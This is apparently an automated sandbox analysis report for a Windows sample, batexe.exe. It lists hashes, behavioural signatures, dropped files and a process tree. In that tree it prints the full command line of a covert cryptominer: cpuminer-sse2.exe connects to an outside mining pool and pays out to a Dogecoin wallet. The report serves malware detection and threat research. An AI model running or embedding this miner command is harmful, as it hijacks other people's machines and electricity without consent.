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Analysis
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max time kernel
293s -
max time network
297s -
platform
windows10-1703_x64 -
resource
win10-20240214-ja -
resource tags
arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows -
submitted
20/02/2024, 18:51
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20240214-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20240220-ja
General
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Target
batexe.exe
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Size
9.4MB
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MD5
cdc9eacffc6d2bf43153815043064427
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SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
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SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
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SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
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SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
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Executes dropped EXE 2 IoCs
pid Process 2780 b2e.exe 1404 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 1404 cpuminer-sse2.exe 1404 cpuminer-sse2.exe 1404 cpuminer-sse2.exe 1404 cpuminer-sse2.exe 1404 cpuminer-sse2.exe -
resource yara_rule behavioral1/memory/3172-5-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 3172 wrote to memory of 2780 3172 batexe.exe 76 PID 3172 wrote to memory of 2780 3172 batexe.exe 76 PID 3172 wrote to memory of 2780 3172 batexe.exe 76 PID 2780 wrote to memory of 376 2780 b2e.exe 77 PID 2780 wrote to memory of 376 2780 b2e.exe 77 PID 2780 wrote to memory of 376 2780 b2e.exe 77 PID 376 wrote to memory of 1404 376 cmd.exe 80 PID 376 wrote to memory of 1404 376 cmd.exe 80
Processes
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C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3172 -
C:\Users\Admin\AppData\Local\Temp\9105.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\9105.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9105.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2780 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\92CA.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:376 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1404
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
6.7MB
MD5a296438025ae94120436cab09301b4a3
SHA154ffe29efc1d59a5a73d64d4c8ffd2c34e008638
SHA2564861a1268c36cfe233aedaf9a8e42e2bbb928a94cf1217c1b9e5bed31fddf074
SHA5122c60e6a72eeecc0a45e13e2ada9e1974407f7bdc34b7832b28341c9a8bbb11e9d7a798212cc83fa1eda272e203de6f1123222f15a23051c294dc1403591b7366
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Filesize
6.9MB
MD5b88f471b218ff2346cc8e9a4b237c966
SHA15a543b973946c2209b646ea0e236032b7e9df671
SHA2561190282bc62a325858f6e21cd4506cf014a3e438ff060a1421edff7e575caa8e
SHA512835a8e56e875f9237644517473ff28a17fb9fec9cd3d9008045e4a632a095a5af55275ce3dd1f8a7063528bec49beba0ca25c93c74b7046925c8d704d27c5c74
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Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
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Filesize
2.3MB
MD54c04147c386ba8792ac6a03069572a8a
SHA1dda67789fc1d0f2469ca95f01a5c81034853ca6a
SHA256c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd
SHA512a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db
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Filesize
3.5MB
MD54313f1f35b85c869d8bf10bc7acd327a
SHA1ff59878f18f03f50d82a684c6bf3d38a07611c9a
SHA256982fc761c38a9c436ddbb0b2a9f85c701f2692ee0ed1dd8ae57ca51fa0a7f738
SHA51224a75e2e744406d8a88b4211fd711c6fc499c1e11a6d65bb63ad3baac2330d59a1d91d9b4a315c558ef3b34bae40e125b760e36d6ce156c1539351769f9a8c52
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Filesize
836KB
MD5aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA15e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA256218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
SHA512c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
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Filesize
1.2MB
MD57cf672bee2afba2dcd0c031ff985958e
SHA16b82a205db080ffdcb4a4470fce85a14413f3217
SHA256c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
SHA5123e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
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Filesize
2.9MB
MD5ac3643def1d8741f13febec7ed5ecaff
SHA18a082752a12ec278ce35717e81e43e75bd255af6
SHA25660e5584f7491353eb0ed196a48ea3d7247865e25e61bd28214603567b8a0a488
SHA512a97e58cb6fb8951aef59b8123350a95de5a6d2dba1b64e9bbf726f549e90286bb364ef7de893583fdcba1fdb79951032df47768e8957994a0373fa35c5251f4e
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Filesize
2.7MB
MD59751c5fcc05375508894a0ac2ce0068a
SHA11d702b08f2802740aa0446c0be94752580a08a9c
SHA2566211f2603dc815590fcb35d45e0dab8b9f41beffaab77cd593a4accab24e40e5
SHA512cdaaf6091e06ae2e2b75e0b84df6719c9fd4243bf0218815097615c122d2634143001760e8bf01f66716dc49383ecc87bdb773bdba92d90757ec8dc2f51b8b1d
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Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770